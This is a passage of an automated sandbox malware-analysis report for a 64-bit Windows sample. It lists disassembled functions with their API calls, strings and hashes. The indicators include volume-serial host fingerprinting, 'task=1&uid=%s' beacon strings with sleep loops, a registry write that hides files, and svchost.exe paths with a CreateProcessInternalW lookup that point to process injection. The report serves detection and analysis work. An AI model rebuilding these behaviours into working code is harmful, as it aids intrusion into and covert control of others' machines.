_invalid_parameter_noinfo.LIBCMT ref: 00007FF795D3F337
_errno.LIBCMT ref: 00007FF795D3F32C

Part of subcall function 00007FF795D359A4: _getptd_noexit.LIBCMT ref: 00007FF795D359A8

_errno.LIBCMT ref: 00007FF795D3F3DA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF795D3F3E5

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo$_getptd_noexit
String ID:
API String ID: 1573762532-0
Opcode ID: a13fad1822833028ca0eb10c8db0b597438e1cbbeed43b07fa581a08987f042d
Instruction ID: e498d973ec54f138fa0dfc82643efb70466217535b24b638e01c3369937af7b2
Opcode Fuzzy Hash: a13fad1822833028ca0eb10c8db0b597438e1cbbeed43b07fa581a08987f042d
Instruction Fuzzy Hash: 5441B462E182BB81EE74BB3199805B9E2E0EF50F98FD86131DA9D476C5DB3CE5418720

Function 00007FF795D33424 Relevance: 10.6, APIs: 7, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF795D3344A
_errno.LIBCMT ref: 00007FF795D3343F

Part of subcall function 00007FF795D359A4: _getptd_noexit.LIBCMT ref: 00007FF795D359A8

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00007FF795D334C9
_errno.LIBCMT ref: 00007FF795D334DA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF795D334E5

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::__getptd_noexit
String ID:
API String ID: 781512312-0
Opcode ID: 9ed3336eb9426492d7b9aa9cf18bd71b667003e75d89d3dfa61ab95dda06c464
Instruction ID: 37628b074db97ca4668aca13de1d28945d5516223925efd45edafb7e51975f69
Opcode Fuzzy Hash: 9ed3336eb9426492d7b9aa9cf18bd71b667003e75d89d3dfa61ab95dda06c464
Instruction Fuzzy Hash: 8D41D662E182B381EB75BB2592801BDB2E0EF50FA9FD45136E69D076C4DE3CE951C720

Function 00007FF795D30D0C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32 ref: 00007FF795D30D41
GetVolumeInformationA.KERNEL32 ref: 00007FF795D30DCF
wsprintfA.USER32 ref: 00007FF795D30E5E

Strings

%08lX%04lX%lu, xrefs: 00007FF795D30E4F
\, xrefs: 00007FF795D30D8A
C, xrefs: 00007FF795D30D54

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu$C$\
API String ID: 3001812590-4231652159
Opcode ID: 7bd2a999512e55fdd9f8ee897116d2d3bdff1adfd49b806867a6735701cc4331
Instruction ID: f59f9cd306308a585f0b8bb0dda7f3742e630286c10cdbdff944870ec89a94a4
Opcode Fuzzy Hash: 7bd2a999512e55fdd9f8ee897116d2d3bdff1adfd49b806867a6735701cc4331
Instruction Fuzzy Hash: B4315E3220C69186E7219B68F4903AAFBA0E7C5B08F941035E68D47B98DF7ED944CB50

Function 00007FF795D37A68 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00007FF795D37A89
_getptd.LIBCMT ref: 00007FF795D37A97
_getptd.LIBCMT ref: 00007FF795D37AA9

Strings

MOC, xrefs: 00007FF795D37A77
csm, xrefs: 00007FF795D37A7F
RCC, xrefs: 00007FF795D37A6F

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: 8894c65672d227fda39ec56e5dcad6079c82dd72da27f0faa52aa83d8d89759d
Instruction ID: ed7afc1b3c6a0331e7f8ec7ec73cb1849feafd9ee050d7cba3a8243099b4851e
Opcode Fuzzy Hash: 8894c65672d227fda39ec56e5dcad6079c82dd72da27f0faa52aa83d8d89759d
Instruction Fuzzy Hash: 0BF01C35D08526D5E6B57BB180C53BC6AD0EF98F4DFD9B471C20C02382EBBD67908A22

Function 00007FF795D2C9D0 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 102sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF795D30D0C: GetWindowsDirectoryA.KERNEL32 ref: 00007FF795D30D41
Part of subcall function 00007FF795D30D0C: GetVolumeInformationA.KERNEL32 ref: 00007FF795D30DCF
Part of subcall function 00007FF795D30D0C: wsprintfA.USER32 ref: 00007FF795D30E5E

_snprintf.LIBCMT ref: 00007FF795D2CA46

Part of subcall function 00007FF795D33598: _errno.LIBCMT ref: 00007FF795D335CF
Part of subcall function 00007FF795D33598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF795D335DA

Sleep.KERNEL32 ref: 00007FF795D2CB24
Sleep.KERNEL32 ref: 00007FF795D2CB78

Strings

data=, xrefs: 00007FF795D2CA8D
task=1&uid=%s, xrefs: 00007FF795D2CA11
err, xrefs: 00007FF795D2CAFA

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Sleep$DirectoryInformationVolumeWindows_errno_invalid_parameter_noinfo_snprintfwsprintf
String ID: data=$err$task=1&uid=%s
API String ID: 1865811002-1781340663
Opcode ID: 0af1d471e20986adbd40fd4a058f03d5b486d937defcffe757d3d044ca000848
Instruction ID: 4827590636c7ecbd60b2b4b505c097c270b8258caef62e07a30c6f1789b7884f
Opcode Fuzzy Hash: 0af1d471e20986adbd40fd4a058f03d5b486d937defcffe757d3d044ca000848
Instruction Fuzzy Hash: BF41402261C59196E770EB24E4943AAA7E1F7C8B94F905231E68D83BE8DF3CD945CB10

Function 00007FF795D303F4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF795D30411
PathFindFileNameW.SHLWAPI ref: 00007FF795D30424
wcslen.MSVCRT ref: 00007FF795D30434
wcsncpy.MSVCRT ref: 00007FF795D304D5

Strings

Unknown, xrefs: 00007FF795D304C6

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: FileName$FindModulePathwcslenwcsncpy
String ID: Unknown
API String ID: 4220601557-1654365787
Opcode ID: 1dfae691d3f300e8eb9ec59fb40c600c63e8ff47fd4a1043f669c2907b9887a7
Instruction ID: 54ae626a023e515bd5f034eadbcd8ce8c8b62dc49a97fa13351391d1f4e2d8ed
Opcode Fuzzy Hash: 1dfae691d3f300e8eb9ec59fb40c600c63e8ff47fd4a1043f669c2907b9887a7
Instruction Fuzzy Hash: C421BA7661CA9486D770DB25E48476EA3E0F788B44F401235EACD83B68DF3DD654CB14

Function 00007FF795D302E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FF795D30323
RegSetValueExW.ADVAPI32 ref: 00007FF795D30359
RegCloseKey.ADVAPI32 ref: 00007FF795D30368

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00007FF795D302E4
Hidden, xrefs: 00007FF795D302F0

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: CloseOpenValue
String ID: Hidden$Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
API String ID: 779948276-85274793
Opcode ID: beb93c632a34156963fe64735a9b928f099ba9484622690a6d160c2725b03238
Instruction ID: 7c6defd7781a37b487eaaad75a2736f860b4abf66ca2a3fb21b34f345894aa96
Opcode Fuzzy Hash: beb93c632a34156963fe64735a9b928f099ba9484622690a6d160c2725b03238
Instruction Fuzzy Hash: C601ED76629A5086D7A0DF25F48575AB7A4F784B94F802135FB8E43B68DF3CC145CB00

Function 00007FF795D113A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF795D113B8
GetProcAddress.KERNEL32 ref: 00007FF795D113C8

Strings

IsWow64Process, xrefs: 00007FF795D113BE
@, xrefs: 00007FF795D11405
kernel32, xrefs: 00007FF795D113B1

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: @$IsWow64Process$kernel32
API String ID: 1646373207-1447682865
Opcode ID: ab93a9697e7db49f45cab12df12d8e20f72fdeb3fe900da885d9202ed212137f
Instruction ID: bebd1a57cd8f57502df7cc97ab302c4261441e1b36f2b909865424377143d15f
Opcode Fuzzy Hash: ab93a9697e7db49f45cab12df12d8e20f72fdeb3fe900da885d9202ed212137f
Instruction Fuzzy Hash: E401EC6190C65682E734EF71F48437AA7E0FB84F49F941174D68E46698CF7CD549CB10

Function 00007FF795D3F758 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00007FF795D3F7BA
_isleadbyte_l.LIBCMT ref: 00007FF795D3F7EA
MultiByteToWideChar.KERNEL32 ref: 00007FF795D3F829
MultiByteToWideChar.KERNEL32 ref: 00007FF795D3F877
_errno.LIBCMT ref: 00007FF795D3F881

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::__errno_isleadbyte_l
String ID:
API String ID: 2998201375-0
Opcode ID: 5223744fd3fccca467624dc8a192276cd82e61384c6ea2980f54dffe725d773f
Instruction ID: 45aeff78283b1eba6532229f5e1a655493337f497188cb3cb6851d80a9c76ddd
Opcode Fuzzy Hash: 5223744fd3fccca467624dc8a192276cd82e61384c6ea2980f54dffe725d773f
Instruction Fuzzy Hash: 0241D372A0879686EB74AF2599C0139EBE1FF84F88F585131EA8C47B95CF3CD8818710

Function 00007FF795D312F4 Relevance: 7.5, APIs: 5, Instructions: 35processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF795D3130F
Process32FirstW.KERNEL32 ref: 00007FF795D31338
wcscmp.MSVCRT ref: 00007FF795D3134F
CloseHandle.KERNEL32 ref: 00007FF795D3137C

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32wcscmp
String ID:
API String ID: 2850635065-0
Opcode ID: 0e751263ca790cefd0de29730052997415424a4d3fcfa03dfa405769945a3833
Instruction ID: 777ada07f5afce6b0a45e906ed80a3886b6e26170e5b3be0548c80a074366fa0
Opcode Fuzzy Hash: 0e751263ca790cefd0de29730052997415424a4d3fcfa03dfa405769945a3833
Instruction Fuzzy Hash: 22110361A1C65286E770AB60F4C832AE7E0FB84BA8F845335E59E429ACDF3CD545CB10

Function 00007FF795D329AC Relevance: 7.5, APIs: 5, Instructions: 25COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00007FF795D329B9

Part of subcall function 00007FF795D3572C: _getptd_noexit.LIBCMT ref: 00007FF795D35732

_inconsistency.LIBCMT ref: 00007FF795D329C7

Part of subcall function 00007FF795D380C4: DecodePointer.KERNEL32(?,?,?,?,00007FF795D38071,?,?,?,00007FF795D32612), ref: 00007FF795D380CF

_getptd.LIBCMT ref: 00007FF795D329CC
_inconsistency.LIBCMT ref: 00007FF795D329E8
_getptd.LIBCMT ref: 00007FF795D329F8

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: _getptd$_inconsistency$DecodePointer_getptd_noexit
String ID:
API String ID: 3566995948-0
Opcode ID: ee8c12c8554f5530bc3b28713b5296e1af5c1cc8e122cf2103e50e6ee38f58da
Instruction ID: 2e9031bf5ac88e9e82e4668897bad2755a43ac7f8b569b37e1d43039c012befe
Opcode Fuzzy Hash: ee8c12c8554f5530bc3b28713b5296e1af5c1cc8e122cf2103e50e6ee38f58da
Instruction Fuzzy Hash: 08F0D022E09592D0EA717B75E0C11BC96E4AF59FD8FCC6171D64D07286AE39E5908334

Function 00007FF795D31590 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.LIBCMT ref: 00007FF795D3159E
malloc.LIBCMT ref: 00007FF795D315AA

Part of subcall function 00007FF795D3244C: _FF_MSGBANNER.LIBCMT ref: 00007FF795D3247C
Part of subcall function 00007FF795D3244C: _NMSG_WRITE.LIBCMT ref: 00007FF795D32486
Part of subcall function 00007FF795D3244C: HeapAlloc.KERNEL32(?,?,00000000,00007FF795D34284,?,?,?,00007FF795D3AD9C,?,?,?,00007FF795D3AC9B,?,?,00000000,00007FF795D35832), ref: 00007FF795D324A1
Part of subcall function 00007FF795D3244C: _callnewh.LIBCMT ref: 00007FF795D324BA
Part of subcall function 00007FF795D3244C: _errno.LIBCMT ref: 00007FF795D324C5
Part of subcall function 00007FF795D3244C: _errno.LIBCMT ref: 00007FF795D324D0

_CxxThrowException.LIBCMT ref: 00007FF795D315F3

Part of subcall function 00007FF795D32504: RtlPcToFileHeader.NTDLL ref: 00007FF795D32593
Part of subcall function 00007FF795D32504: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF795D404BE), ref: 00007FF795D325D2

Strings

bad allocation, xrefs: 00007FF795D315BA

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Exception_callnewh_errno$AllocFileHeaderHeapRaiseThrowmalloc
String ID: bad allocation
API String ID: 1214304046-2104205924
Opcode ID: 3b8e8bd193397a22c989b775499798885fd0ff8c1caff98f5e3a105427b3f2ea
Instruction ID: 075905c456604fee3f06dbe24585eb47e4ad9de53685c6ece6dfbc0b520c3ca4
Opcode Fuzzy Hash: 3b8e8bd193397a22c989b775499798885fd0ff8c1caff98f5e3a105427b3f2ea
Instruction Fuzzy Hash: 29017025E08B5780EA34ABA2A4D11B8D3E4AF45BC8F886030D94D0779ADE3CE155C710

Function 00007FF795D456A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF795D329AC: _getptd.LIBCMT ref: 00007FF795D329B9
Part of subcall function 00007FF795D329AC: _inconsistency.LIBCMT ref: 00007FF795D329C7
Part of subcall function 00007FF795D329AC: _getptd.LIBCMT ref: 00007FF795D329CC
Part of subcall function 00007FF795D329AC: _inconsistency.LIBCMT ref: 00007FF795D329E8

__DestructExceptionObject.LIBCMT ref: 00007FF795D456EE
_getptd.LIBCMT ref: 00007FF795D456F4
_getptd.LIBCMT ref: 00007FF795D45707

Part of subcall function 00007FF795D32A3C: _getptd.LIBCMT ref: 00007FF795D32A45

Strings

csm, xrefs: 00007FF795D456C1

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: _getptd$_inconsistency$DestructExceptionObject
String ID: csm
API String ID: 2821275340-1018135373
Opcode ID: c927b15099e8d8d8a14847beea8bde30514249613e58caf7d211df8e6c6ec09d
Instruction ID: 6d8f970fc2f60f6c65609657560cca40a2a965f90ae774f2aa35ad3a5bc84123
Opcode Fuzzy Hash: c927b15099e8d8d8a14847beea8bde30514249613e58caf7d211df8e6c6ec09d
Instruction Fuzzy Hash: D6012C67D4469289DB70FF3598C12BC63E4EB65F99F842071DE4D4A686DE38D880C310

Function 00007FF795D122BC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF795D122E8
ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF795D12301

Strings

%SystemRoot%\system32\svchost.exe, xrefs: 00007FF795D122FA
%SystemRoot%\SysWoW64\svchost.exe, xrefs: 00007FF795D122E1

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: %SystemRoot%\SysWoW64\svchost.exe$%SystemRoot%\system32\svchost.exe
API String ID: 237503144-2871004979
Opcode ID: 26d235ddc8eb93f07edcb8965c1cf58c0c2aab6b495efb37e2acaf60aadbeeb9
Instruction ID: 1b3d6cbf4f124bddf99dde3f333bfd1f663dced54e0ce8175b04f47a6d9c0754
Opcode Fuzzy Hash: 26d235ddc8eb93f07edcb8965c1cf58c0c2aab6b495efb37e2acaf60aadbeeb9
Instruction Fuzzy Hash: D3F08261A2D5A2C1D724EF32F48003EFBB0F795B80F802474E58A03AA8CE2DD541CF20

Function 00007FF795D11088 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF795D11098
GetProcAddress.KERNEL32 ref: 00007FF795D110A8

Strings

GetThreadId, xrefs: 00007FF795D1109E
kernel32, xrefs: 00007FF795D11091

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetThreadId$kernel32
API String ID: 1646373207-2383230424
Opcode ID: e461afaf8c1bd09b320089634cf66b20fcf42d2cd2d08406a6f8b5433de6df5f
Instruction ID: e984025ddd69d87db78cdfd2e4b7f8b0279ecf59ff8902cec9bc48b4e7535e18
Opcode Fuzzy Hash: e461afaf8c1bd09b320089634cf66b20fcf42d2cd2d08406a6f8b5433de6df5f
Instruction Fuzzy Hash: 85E0C921918A9282D734AF70F884339A3E0FB84B85FD01570D58E426A4DF2CD589CB10

Function 00007FF795D11600 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF795D1160B
GetProcAddress.KERNEL32 ref: 00007FF795D11622

Strings

CreateProcessInternalW, xrefs: 00007FF795D11616
kernel32, xrefs: 00007FF795D11604

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CreateProcessInternalW$kernel32
API String ID: 1646373207-4069603262
Opcode ID: d95c6e7916faab0d17594eb83d8a00f0299812b173539474de4610889b1bf182
Instruction ID: 502b2d29203be3be04b24c5bebf738d3630f1374a68ae026981f7ed2b718c9bd
Opcode Fuzzy Hash: d95c6e7916faab0d17594eb83d8a00f0299812b173539474de4610889b1bf182
